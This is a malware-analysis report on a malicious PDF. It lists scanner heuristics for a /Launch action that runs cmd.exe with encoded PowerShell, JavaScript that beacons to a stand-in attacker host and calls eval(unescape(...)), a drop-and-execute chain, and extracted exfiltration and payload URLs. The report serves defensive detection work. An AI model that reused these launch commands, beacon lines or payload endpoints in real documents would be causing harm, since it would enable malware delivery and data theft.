Malicious PDF — malware analysis report

Heuristics 15

• Launch action critical PDF_LAUNCH
  PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
• /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
  PDF /Launch action specifies an executable target with parameters '/c powershell -enc SQBFAFgA...' — references a known-dangerous executable (cmd, PowerShell, etc.).
• JavaScript action low 3 related findings PDF_JAVASCRIPT
  PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
• PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
  PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  Matched line in script

  var s = this.getURL('https://evil-dropper.example.cn/beacon');
  eval(unescape('%76%61%72%20%78%3d%31'));
  endstream

• Embedded JS stream low PDF_JS
  PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
• PDF JavaScript issues an HTTP request on open low PDF_JS_NETWORK_BEACON
  Embedded JavaScript calls a network API — this.getURL() to an http(s) URL, XMLHttpRequest, or SOAP — typically an open-time beacon / tracking pixel or data-exfil callback. This abuses a legitimate Acrobat API and exploits no vulnerability; the risk is the unsolicited outbound request (confirming recipient open or fetching a next stage).
  Matched line in script

  app.launchURL(url, true);
  var s = this.getURL('https://evil-dropper.example.cn/beacon');
  eval(unescape('%76%61%72%20%78%3d%31'));

• Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
  PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
• /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
  PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
• Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
  Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
• LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
  Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
• Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• SubmitForm action medium PDF_SUBMITFORM
  PDF has a /SubmitForm action — form data can be silently posted to an attacker-controlled URL
• Embedded file low PDF_EMBEDDED
  PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
• External URI info PDF_URI
  PDF contains an external URL action
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL https://evil-dropper.example.cn/beacon Referenced by PDF JavaScript

  • http://exfil-server.example.io/collectReferenced by PDF JavaScript
  • https://fake-update.example.top/update.binReferenced by PDF JavaScript
  • http://malware-cdn.example.ru/stage2/payload.exeReferenced by PDF JavaScript
  • http://185.220.101.45:4444/gate.phpReferenced by PDF JavaScript
  • http://awr-d.xml.usae/ala.xReferenced by PDF JavaScript
  • http://exfil-server.eReferenced by PDF JavaScript
  • http://phishing-login.example.org/verifyReferenced by PDF JavaScript
  • http://malicious-site.example.net/click?id=4571Referenced by PDF JavaScript

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